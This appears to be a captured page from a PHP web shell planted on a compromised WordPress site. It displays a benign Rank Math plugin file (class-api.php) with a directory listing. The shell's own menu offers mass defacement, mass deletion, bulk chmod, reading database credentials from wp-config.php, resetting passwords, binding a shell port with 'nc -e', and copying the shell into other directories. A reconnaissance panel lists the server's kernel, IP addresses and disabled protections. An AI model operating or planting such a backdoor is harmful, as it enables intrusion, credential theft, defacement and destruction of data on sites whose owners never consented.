WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / seo-by-rank-math / includes / admin / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/admin/class-api.php (6.53 KB)
<?php
/**
 * The RankMath API.
 *
 * @since      1.5.0
 * @package    RankMath
 * @subpackage RankMath\Admin
 * @author     Rank Math <support@rankmath.com>
 */

namespace RankMath\Admin;

use WP_Error;

/**
 * Api class.
 */
class Api {

	/**
	 * Rank Math SEO Checkup API.
	 *
	 * @var string
	 */
	protected $api_url = 'https://rankmath.com/wp-json/rankmath/v1/';

	/**
	 * Was the last request successful.
	 *
	 * @var bool
	 */
	protected $is_success = false;

	/**
	 * Last error.
	 *
	 * @var string
	 */
	protected $last_error = '';

	/**
	 * Last response.
	 *
	 * @var array
	 */
	protected $last_response = [];

	/**
	 * Last response header code.
	 *
	 * @var int
	 */
	protected $last_code = 0;

	/**
	 * User agent.
	 *
	 * @var string
	 */
	protected $user_agent = '';

	/**
	 * Is blocking.
	 *
	 * @var bool
	 */
	protected $is_blocking = true;

	/**
	 * Main instance
	 *
	 * Ensure only one instance is loaded or can be loaded.
	 *
	 * @return Api
	 */
	public static function get() {
		static $instance;

		if ( is_null( $instance ) && ! ( $instance instanceof Api ) ) {
			$instance              = new Api();
			$instance->is_blocking = true;
			$instance->user_agent  = 'RankMath/' . md5( esc_url( home_url( '/' ) ) );
		}

		return $instance;
	}

	/**
	 * Was the last request successful?
	 *
	 * @return bool  True for success, false for failure
	 */
	public function is_success() {
		return $this->is_success;
	}

	/**
	 * Get the last error returned by either the network transport, or by the API.
	 * If something didn't work, this should contain the string describing the problem.
	 *
	 * @return  array|false  describing the error
	 */
	public function get_error() {
		return $this->last_error ? $this->last_error : false;
	}

	/**
	 * Get an array containing the HTTP headers and the body of the API response.
	 *
	 * @return array  Assoc array with keys 'headers' and 'body'
	 */
	public function get_response() {
		return $this->last_response;
	}

	/**
	 * Remove registration data and disconnect from RankMath.com.
	 *
	 * @param string $username Username.
	 * @param string $api_key  Api key.
	 */
	public function deactivate_site( $username, $api_key ) {
		$this->is_blocking = false;
		$data              = wp_json_encode(
			[
				'username' => $username,
				'api_key'  => $api_key,
				'site_url' => esc_url( home_url() ),
			]
		);

		$response = wp_remote_post(
			RANK_MATH_SITE_URL . '/wp-json/rankmath/v1/deactivateSite',
			[
				'body'    => $data,
				'headers' => [
					'Content-Type' => 'application/json',
				],
			],
		);
	}

	/**
	 * Make an HTTP GET request - for retrieving data.
	 *
	 * @param string $url     URL to do request.
	 * @param array  $args    Assoc array of arguments (usually your data).
	 * @param int    $timeout Timeout limit for request in seconds.
	 *
	 * @return array|false     Assoc array of API response, decoded from JSON.
	 */
	public function http_get( $url, $args = [], $timeout = 10 ) {
		return $this->make_request( 'GET', $url, $args, $timeout );
	}

	/**
	 * Make an HTTP POST request - for creating and updating items.
	 *
	 * @param string $url     URL to do request.
	 * @param array  $args    Assoc array of arguments (usually your data).
	 * @param int    $timeout Timeout limit for request in seconds.
	 *
	 * @return array|false     Assoc array of API response, decoded from JSON.
	 */
	public function http_post( $url, $args = [], $timeout = 10 ) {
		return $this->make_request( 'POST', $url, $args, $timeout );
	}

	/**
	 * Make an HTTP PUT request - for creating new items.
	 *
	 * @param string $url     URL to do request.
	 * @param array  $args    Assoc array of arguments (usually your data).
	 * @param int    $timeout Timeout limit for request in seconds.
	 *
	 * @return array|false     Assoc array of API response, decoded from JSON.
	 */
	public function http_put( $url, $args = [], $timeout = 10 ) {
		return $this->make_request( 'PUT', $url, $args, $timeout );
	}

	/**
	 * Make an HTTP DELETE request - for deleting data.
	 *
	 * @param string $url     URL to do request.
	 * @param array  $args    Assoc array of arguments (usually your data).
	 * @param int    $timeout Timeout limit for request in seconds.
	 *
	 * @return array|false     Assoc array of API response, decoded from JSON.
	 */
	public function http_delete( $url, $args = [], $timeout = 10 ) {
		return $this->make_request( 'DELETE', $url, $args, $timeout );
	}

	/**
	 * Performs the underlying HTTP request. Not very exciting.
	 *
	 * @param string $http_verb The HTTP verb to use: get, post, put, patch, delete.
	 * @param string $url       URL to do request.
	 * @param array  $args       Assoc array of parameters to be passed.
	 * @param int    $timeout    Timeout limit for request in seconds.
	 *
	 * @return array|false Assoc array of decoded result.
	 */
	protected function make_request( $http_verb, $url, $args = [], $timeout = 10 ) {
		$params = [
			'timeout'    => $timeout,
			'method'     => $http_verb,
			'user-agent' => $this->user_agent,
			'blocking'   => $this->is_blocking,
		];

		if ( ! empty( $args ) && is_array( $args ) ) {
			$params['body'] = $args;
		}

		$this->reset();
		$response = wp_remote_request( $this->api_url . $url, $params );
		$this->determine_success( $response );

		return $this->format_response( $response );
	}

	/**
	 * Decode the response and format any error messages for debugging
	 *
	 * @param array|WP_Error $response The response from the curl request.
	 *
	 * @return array|false The JSON decoded into an array
	 */
	protected function format_response( $response ) {
		$this->last_response = $response;

		if ( is_wp_error( $response ) ) {
			return false;
		}

		if ( ! empty( $response['body'] ) ) {
			return json_decode( $response['body'], true );
		}

		return false;
	}

	/**
	 * Check if the response was successful or a failure. If it failed, store the error.
	 *
	 * @param array|WP_Error $response The response from the curl request.
	 */
	protected function determine_success( $response ) {
		if ( is_wp_error( $response ) ) {
			$this->last_error = 'WP_Error: ' . $response->get_error_message();
			return;
		}

		$this->last_code = wp_remote_retrieve_response_code( $response );
		if ( in_array( $this->last_code, [ 200, 204 ], true ) ) {
			$this->is_success = true;
			return;
		}

		$this->last_error = 'Unknown error, call getLastResponse() to find out what happened.';
	}

	/**
	 * Reset request.
	 */
	protected function reset() {
		$this->last_code     = 0;
		$this->last_error    = '';
		$this->is_success    = false;
		$this->is_blocking   = true;
		$this->last_response = [
			'body'    => null,
			'headers' => null,
		];
	}
}
namawaktuukuranownerpermaksi
..
database/ 2026-07-21 14:1433.63 KB 76129f60960:kundendxwrx-r--r
importers/ 2026-07-21 14:14168.71 KB 76129f60960:kundendxwrx-r--r
metabox/ 2026-07-21 14:1445.61 KB 76129f60960:kundendxwrx-r--r
notifications/ 2026-07-21 14:1412.83 KB 76129f60960:kundendxwrx-r--r
views/ 2026-07-21 14:14203 B 76129f60960:kundendxwrx-r--r
watcher/ 2026-07-21 14:147.95 KB 76129f60960:kundendxwrx-r--r
wizard/ 2026-07-21 14:1462.03 KB 76129f60960:kundendxwrx-r--r
class-admin-bar-menu.php 2026-07-21 14:1412.91 KB 76129f60960:kunden-xw-x-----
edt
class-admin-breadcrumbs.php 2026-07-21 14:141.19 KB 76129f60960:kunden-xw-x-----
edt
class-admin-dashboard-nav.php 2026-07-21 14:142.88 KB 76129f60960:kunden-xw-x-----
edt
class-admin-header.php 2026-07-21 14:144.16 KB 76129f60960:kunden-xw-x-----
edt
class-admin-helper.php 2026-07-21 14:1411.48 KB 76129f60960:kunden-xw-x-----
edt
class-admin-init.php 2026-07-21 14:142.17 KB 76129f60960:kunden-xw-x-----
edt
class-admin-menu.php 2026-07-21 14:149.62 KB 76129f60960:kunden-xw-x-----
edt
class-admin.php 2026-07-21 14:1418.1 KB 76129f60960:kunden-xw-x-----
edt
class-api.php 2026-07-21 14:146.53 KB 76129f60960:kunden-xw-x-----
edt
class-ask-review.php 2026-07-21 14:147.87 KB 76129f60960:kunden-xw-x-----
edt
class-assets.php 2026-07-21 14:148.73 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-actions.php 2026-07-21 14:146.43 KB 76129f60960:kunden-xw-x-----
edt
class-cmb2-fields.php 2026-07-21 14:1412.65 KB 76129f60960:kunden-xw-x-----
edt
class-cmb2-options.php 2026-07-21 14:1412.71 KB 76129f60960:kunden-xw-x-----
edt
class-dashboard-widget.php 2026-07-21 14:146.29 KB 76129f60960:kunden-xw-x-----
edt
class-import-export.php 2026-07-21 14:142.66 KB 76129f60960:kunden-xw-x-----
edt
class-list-table.php 2026-07-21 14:141.55 KB 76129f60960:kunden-xw-x-----
edt
class-lock-modified-date.php 2026-07-21 14:143.16 KB 76129f60960:kunden-xw-x-----
edt
class-notices.php 2026-07-21 14:148.77 KB 76129f60960:kunden-xw-x-----
edt
class-option-center.php 2026-07-21 14:1425.14 KB 76129f60960:kunden-xw-x-----
edt
class-options.php 2026-07-21 14:147.01 KB 76129f60960:kunden-xw-x-----
edt
class-page.php 2026-07-21 14:147.27 KB 76129f60960:kunden-xw-x-----
edt
class-post-columns.php 2026-07-21 14:1416.91 KB 76129f60960:kunden-xw-x-----
edt
class-post-filters.php 2026-07-21 14:148.83 KB 76129f60960:kunden-xw-x-----
edt
class-pro-notice.php 2026-07-21 14:149.05 KB 76129f60960:kunden-xw-x-----
edt
class-register-options-page.php 2026-07-21 14:14643 B 76129f60960:kunden-xw-x-----
edt
class-registration.php 2026-07-21 14:147.88 KB 76129f60960:kunden-xw-x-----
edt
class-sanitize-settings.php 2026-07-21 14:149.43 KB 76129f60960:kunden-xw-x-----
edt
class-setup-wizard.php 2026-07-21 14:144.82 KB 76129f60960:kunden-xw-x-----
edt
index.php 2026-07-21 14:1428 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/admin
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK